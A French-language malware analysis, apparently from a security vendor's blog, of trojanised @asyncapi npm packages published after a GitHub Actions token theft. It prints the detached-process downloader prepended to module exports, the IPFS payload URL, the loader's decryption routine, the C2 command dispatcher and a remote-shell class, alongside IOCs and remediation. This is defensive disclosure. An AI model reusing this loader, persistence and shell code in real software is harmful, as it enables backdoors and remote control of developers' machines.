Aikido

Packages npm AsyncAPI compromis via GitHub Actions

Écrit par
Raphael Silva

Nous avons identifié cinq packages trojanisés @asyncapi packages publiés le 14-07-2026. L'attaquant a volé un token de publication npm en exploitant une pull_request_target vulnérabilité de workflow dans le dépôt du générateur AsyncAPI, puis a injecté un téléchargeur obfusqué dans les modules d'exécution normaux de quatre packages. L'importation de l'un des packages affectés récupère un chargeur Node.js chiffré depuis IPFS et l'écrit sur le disque sous le nom de sync.js, et le démarre comme un processus détaché.

La chaîne se termine par un implant persistant avec un véritable shell distant. Le framework de charge utile s'auto-identifie comme M-RED-TEAM v6.4 dans ses propres commentaires de code. La collecte d'identifiants et l'auto-propagation sont présentes dans le code mais désactivées dans cette build. Le shell est suffisant pour que l'opérateur puisse collecter des données et exécuter des commandes arbitraires sans ces fonctionnalités.

Les packages combinés enregistrent environ 2,9 millions de téléchargements hebdomadaires, avec @asyncapi/specs représentant à lui seul environ 2,7 millions.

Comment l'attaquant a obtenu l'accès de publication

Le asyncapi/generator dépôt utilisait un GitHub Actions workflow avec un pull_request_target déclencheur. Ce déclencheur s'exécute avec un accès aux secrets du dépôt, même lorsque le workflow extrait du code d'une PR externe, une faille de sécurité bien connue.

Un contributeur a identifié la vulnérabilité et a ouvert une PR de correction (#2092) le 17 mai. Elle était toujours non mergée près de 2 mois plus tard lorsque l'attaque a eu lieu.

Le 14 juillet à 05:08 UTC, l'attaquant a ouvert 37 PRs contre le dépôt du générateur. L'une d'elles, PR #2155, contenait du JavaScript obfusqué qui a exfiltré le token de publication npm vers rentry[.]co. next branche à 06:58 UTC et a publié les premiers packages compromis à 07:10 UTC. Ils ont ensuite basculé vers asyncapi/spec-json-schemas, poussant 11 commits entre 07:51 et 08:28 UTC pour publier les versions des spécifications.

Attribution

L'attaque implique trois signaux qui se chevauchent et qui ne convergent pas tous vers la même origine.

La technique d'accès initial (une inondation de PR ciblant un pull_request_target workflow avec un point de dépôt mort rentry[.]co) correspond aux schémas de la campagne prt-scan précédemment observée dans des attaques similaires de vol de secrets GitHub Actions.

Le framework de la charge utile s'auto-identifie comme M-RED-TEAM v6.4 dans les commentaires de code de la source de l'étape 3 récupérée. C'est l'étiquette la plus directe que le code se donne.

Les noms des artefacts et la configuration utilisent la marque Miasma : la cible de build est miasma-train-p1, le verrou d'exécution et les chemins d'identité se trouvent sous ~/.config/.miasma/, les artefacts de persistance sont nommés miasma-monitor, et les certificats de spawn utilisent la chaîne de format miasma-spawn-cert-v1. Ces derniers chevauchent le précédent toolkit Miasma, bien que un chercheur de SafeDep ait noté que les charges utiles diffèrent: la version précédente était basée sur Bun avec RSA/AES-CBC, une propagation active et un deadman destructeur ; celle-ci est basée sur Node avec secp256k1/AES-GCM, un C2 HTTP, et ces fonctionnalités désactivées.

Nous ne pouvons pas déterminer, à partir des preuves, si l'accès initial prt-scan et la charge utile M-RED-TEAM représentent un seul opérateur ou des parties distinctes. Le branding Miasma peut refléter une réutilisation de code, une imitation ou un étiquetage délibérément erroné. Aucune attribution définitive n'est faite ici.

Cinq packages d'exécution ont transporté la première étape

Les versions compromises :

  • @asyncapi/specs@6.11.2
  • @asyncapi/specs@6.11.2-alpha.1
  • @asyncapi/generator@3.3.1
  • @asyncapi/generator-helpers@1.1.1
  • @asyncapi/generator-components@0.7.1

Le code malveillant ne se trouve pas dans un hook de cycle de vie npm. Il a été placé dans des modules qui s'exécutent lors d'une utilisation normale : le specs point d'entrée, un generator validateur, un utilitaire d'aide et un module de gestion des erreurs de composants. La charge utile s'exécute lorsque le module se charge, donc un simple require() suffit à le déclencher.

Dans @asyncapi/specs, le téléchargeur est préfixé aux exportations de schéma réelles :

import { spawn } from 'child_process';

// fs, path, https, os imported above

async function main() {
  try {
    const child = spawn(
      'node',
      [
        '-e',
        `/* obfuscated downloader, ~3 KB, elided */`,
      ],
      {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
      }
    );

    child.unref();
  } catch (error) {
    console.error(error.message);
  }
}

main();

module.exports = {
  schemas: {
    '2.0.0': require('./schemas/2.0.0.json'),
    // ...through 3.1.0
  },
};

Le téléchargeur s'exécute dans un processus enfant détaché. Après avoir appelé child.unref(), le parent se termine immédiatement et le téléchargement se poursuit en arrière-plan.

Le node -e La charge utile est obfusquée, mais sa table de recherche de chaînes contient l'URL IPFS et le nom du fichier à déposer en clair :

// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']

La branche specs récupère le CID Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. La branche generator-family récupère QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Les deux écrivent sync.js dans un répertoire de données NodeJS par utilisateur : ~/Library/Application Support/NodeJS sur macOS, %LOCALAPPDATA%\NodeJS sur Windows, ~/.local/share/NodeJS sur Linux.

Étape 2 : chargeurs chiffrés depuis IPFS

Les deux objets IPFS sont des chargeurs JavaScript obfusqués : 8 243 380 octets (specs) et 8 254 481 octets (generator family). Chacun dérive une clé AES-256-GCM via HKDF-SHA256, déchiffre un coffre-fort intégré, inverse une rotation ASCII imprimable et évalue le résultat. Nous avons extrait la logique dans un déchiffreur non exécutant :

const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
  'rt-vault-master-key-32b-aaaaaaaa',
  'utf8'
); // 32 bytes

function gcmDecrypt(buf, key) {
  const iv = buf.slice(0, 12);
  const tag = buf.slice(buf.length - 16);
  const ct = buf.slice(12, buf.length - 16);

  const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
  d.setAuthTag(tag);

  return Buffer.concat([d.update(ct), d.final()]);
}

// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
  'sha256',
  Buffer.from(_km, 'utf8'),
  Buffer.alloc(0),
  Buffer.from('rt-file-key', 'utf8'),
  32
);

const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');

// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;

const stage3 = [...rotSrc]
  .map((ch) => {
    const c = ch.charCodeAt(0);

    return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
      ? String.fromCharCode(
          ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
        )
      : ch;
  })
  .join('');

Les tags d'authentification GCM sont valides pour les deux builds. Chaque chargeur contient également un sourceBundle champ chiffré avec la même clé ; il correspond au fichier de l'étape 3 récupéré, octet par octet. La configuration « baked » utilise une clé distincte dérivée de rt-baked-key et du même master codé en dur.

Les deux fichiers de l'étape 3 récupérés :

  • Build specs : 3 088 921 octets, SHA-256 f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b
  • Build generator-family : 3 093 085 octets, SHA-256 9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a

La build de la famille de générateurs ajoute une différence comportementale : un minuteur qui revérifie le C2 primaire après un basculement et bascule à nouveau lorsqu'il se rétablit. Les autres différences sont des déclarations inutiles générées.

Les deux builds incluent une chaîne de spawn secp256k1 à deux certificats. Les deux signatures sont vérifiées. La chaîne n'empêche pas ce seed de s'exécuter.

Champs de configuration trompeurs

Les premiers rapports ont caractérisé cela comme un « canary sûr » basé sur les valeurs des champs de configuration. La configuration intégrée que nous avons récupérée :

{
  "config": {
    "safeMode": true,
    "c2Server": "http://85.137.53.71:8080",
    "shellBlacklist": ["killall"],
    "batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
  },
  "target": { "name": "miasma-train-p1", "ecosystem": "npm" },
  "actualPersist": false,
  "testMode": false,
  "toggles": {
    "recon": false,
    "persist": true,
    "propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
    "evasion": false,
    "metamorphic": false
  }
}

Aucune des trois valeurs de champ ne résiste à l'analyse du graphe d'appels :

  • safeMode: true: le point d'entrée transmet la configuration directement à la fonction de démarrage et n'appelle jamais le safeMode validateur.
  • actualPersist: false: la fonction de démarrage lit toggles.persist, pas actualPersist. toggles.persist est true. La persistance s'exécute.
  • canaryPercent: 5: le BatchDispatch commande n'est pas implémentée et aucun chemin de sélection de victime ne lit ce champ. Cela n'a aucun effet.

Ce que fait l'implant

Lors de la première exécution, le payload génère une paire de clés secp256k1 et la stocke dans un chemin spécifique à la plateforme, déguisé en fichier de cache système. Il utilise ~/.config/.miasma/run/node.lock pour empêcher les instances en double.

Persistance par plateforme :

  • macOS : ajoute un nohup bloc à .zshrc, .bashrc, ou .bash_profile
  • Windows : écrit HKCU Exécutez valeur miasma-monitor
  • Linux : écrit ~/.config/systemd/user/miasma-monitor.service et l'active. Le ExecStart manque d'un wrapper shell, donc l'unité ne démarre probablement pas, mais les fichiers sont écrits.

L'implant envoie des balises à hxxp://85[.]137[.]53[.]71:8080 environ toutes les 30 secondes. Les balises sont signées et chiffrées avec la clé publique de l'attaquant. Même avec recon désactivé, chaque balise inclut des aperçus expurgés de CHEMIN, HOME, UTILISATEUR, et HOSTNAME, et vérifie la présence de fichiers de configuration Cursor, Claude et VS Code sous /app.

Les commandes sont normalement livrées dans une enveloppe chiffrée. Lorsqu'aucun bundle chiffré n'est présent, le gestionnaire revient à un format en texte clair commandes tableau :

async dispatchResponseCommands(resp) {
  let commands = [];

  if (
    this.commandCipher &&
    resp.encryptedCommands &&
    resp.encryptedCommands.length > 0
  ) {
    for (const env of resp.encryptedCommands) {
      try {
        commands.push(this.commandCipher.decryptCommand(env));
      } catch (e) {
        this.sinkError(e);
      }
    }
  } else {
    // plaintext fallback, active when cipher absent
    commands = resp.commands;
  }

  for (const cmd of commands) {
    await this.handler(cmd);
  }
}

Étant donné que le C2 est HTTP, un attaquant sur le chemin peut injecter des commandes via ce chemin.

Commande 11 (ShellExec) transmet la requête à child_process.exec(). La seule commande sur liste noire est killall:

ShellExecutorImpl = class {
  constructor(cfg, runner) {
    this.blacklist = new Set(
      cfg.shellBlacklist
        .map(normalizeCmd)
        .filter((b) => b.length > 0)
    ); // shipped config: ["killall"]

    this.runner = runner ?? new ExecFileRunner();
  }

  async exec(req) {
    if (!this.isAllowed(req.command)) {
      return {
        exitCode: 126,
        stdout: '',
        stderr: '',
      }; // DENIED
    }

    // testMode is false in this seed, so the real shell runs
    return new Promise((resolve) => {
      import_node_child_process.exec(
        [req.command, ...req.args].join(' '),
        {
          cwd: req.cwd,
          timeout: timeoutMs,
          maxBuffer: 1 << 20,
          windowsHide: true,
        },
        (err, stdout, stderr) =>
          resolve({
            exitCode: err?.code ?? 0,
            stdout,
            stderr,
          })
      );
    });
  }
};

Les commandes de fichiers (list, get, put) sont isolées dans un chemin codé en dur /sim-fs path. La commande de suppression n'est pas implémentée. Le shell n'a pas de telle restriction.

Les mises à jour de la charge utile proviennent de deux sources : une commande opérateur fournissant un nouveau CID, ou une boucle de sondage de deux minutes vérifiant Nostr et Ethereum pour une version plus récente. Les mises à jour Nostr sont vérifiées par signature. Les enregistrements Ethereum sont acceptés sans vérification de signature (trustUnsignedBlockchain: true). Une mise à jour récupérée est écrite sur le disque sous la forme d'un fichier aléatoire .bin/.cache/.dat , lancée avec Node, et autorisée à remplacer le processus actuel.

Ce qui est dans le code mais non actif

Le bundle contient un collecteur de credentials complet couvrant les credentials cloud, les tokens de gestionnaire de paquets, les clés SSH/GPG, les historiques de shell, les navigateurs, les systèmes CI/CD, les outils de développement AI, les bases de données, les wallets, les conteneurs et les gestionnaires de mots de passe. Il peut télécharger Gitleaks et HackBrowserData pour faciliter la collecte. Rien de tout cela ne s'exécute car toggles.recon est false ; le collecteur se termine avant de collecter quoi que ce soit. Le shell peut obtenir le même résultat manuellement.

Des vecteurs de propagation pour npm, PyPI et Cargo sont présents et implémentés. Tous les toggles de propagation sont false, le seul appel à trySpread() est protégé par le mode persistant (qui retourne avant de l'atteindre), et la commande Propagation n'est pas implémentée. Aucune propagation ne se produit.

Le moteur de mutation, les vérifications d'évasion, l'empoisonnement des outils AI et le deadman switch sont tous désactivés. L'implémentation de l'effacement écrit un fichier marqueur dans ~/Documents/SIMULATION_WIPE_TRIGGERED.txt plutôt que de supprimer quoi que ce soit.

C2 et infrastructure de support

HTTP sur le port 8080 est le seul véritable canal de balise et de commande. Les autres protocoles ont des rôles plus restreints :

  • Nostr : fournit les mises à jour d'adresses, les enregistrements de mise à jour de charge utile signés et les multi-adresses de pairs
  • Ethereum : fournit l'adresse de service en lecture seule et les enregistrements de mise à jour
  • IPFS : héberge les objets de charge utile et les données chiffrées
  • libp2p / BitTorrent DHT / mDNS : découverte de pairs et gossip ; pas de trafic de commande ou de balise

Plusieurs méthodes génériques de téléversement et de commande sur les transports de niveau inférieur sont des no-ops dans cette version.

Indicateurs de compromission

Packages

PaquetVersionSHA-256@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab

Réseau

  • C2: 85[.]137[.]53[.]71:8080, téléversement : :8081, gestion de proxy : :8091
  • bloc RIPE 85.137.53.0/24, objet VSYS-AMS, AS43641
  • contrat Ethereum 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, ID de chaîne 1
  • relais Nostr : wss://relay.damus.io, wss://relay.nostr.com/
  • Amorçage DHT : router.bittorrent.com:6881, dht.transmissionbt.com:6881

Host

  • Déposer : sync.js dans le répertoire de données NodeJS par utilisateur (chemins ci-dessus)
  • Verrouiller : ~/.config/.miasma/run/node.lock
  • Identité macOS : ~/Library/Application Support/com.apple.spotlight/index-v2.cache
  • Identité Linux : ~/.cache/mesa_shader_cache/gl_cache.bin
  • Identité Windows : %HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat
  • Persistance Linux : ~/.config/systemd/user/miasma-monitor.service
  • Valeur d'exécution Windows : miasma-monitor

Crypto

  • Clé publique secp256k1 de l'attaquant : 0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e

Que faire maintenant

Rétrogradez vers @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, et @asyncapi/generator-components@0.7.0. Supprimez les cinq versions compromises des manifestes, des lockfiles, des caches, des miroirs internes et des images de build. Recherchez les systèmes qui ont importé les modules affectés, et non pas seulement les systèmes où le package a été installé, étant donné que l'implant s'exécute sur require().

Sur tout hôte suspecté : isolez et préservez d'abord l'état volatile. Recherchez les chemins de dépôt, de verrouillage, d'identité et de persistance listés ci-dessus, ainsi que les processus Node détachés inhabituels. Vérifiez les connexions aux ports C2 et l'activité Node corrélée avec IPFS, Nostr, Ethereum RPC, DHT ou mDNS.

Considérez les identifiants disponibles sur une machine de développeur ou un hôte de build affecté comme potentiellement exposés via des commandes shell. Renouvelez les tokens npm, l'accès au contrôle de source, les identifiants cloud, les secrets CI/CD, les clés SSH, les clés de signature et les sessions de navigateur depuis une machine saine. Reconstruisez les hôtes compromis.

Le @asyncapi/specs@6.11.2-alpha.1 Le tarball est toujours téléchargeable via son URL directe bien qu'il soit absent des métadonnées du registre. Il doit être purgé du stockage de sauvegarde et du CDN.

Comment Aikido détecte cela

Si vous êtes un utilisateur Aikido, consultez votre flux central et filtrez les problèmes de malware. Les cinq versions compromises apparaissent comme un problème critique 100/100. Si vous n'avez pas encore de compte, créez-en un et connectez vos dépôts — la couverture des malwares est incluse dans le plan gratuit, aucune carte de crédit n'est requise.

Aikido Device Protection vous offre une visibilité sur les packages installés sur les appareils de votre équipe, y compris les bibliothèques, les plugins IDE et les dépendances de build. Aikido Safe Chain (open source) s'intègre à votre workflow existant et vérifie les packages par rapport à Aikido Intel avant que npm, yarn ou pnpm ne les installe.

Partager :

https://www.aikido.dev/blog/asyncapi-npm-packages-backdoored-via-github-actions

Analyser les malwares

Commencer gratuitement
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.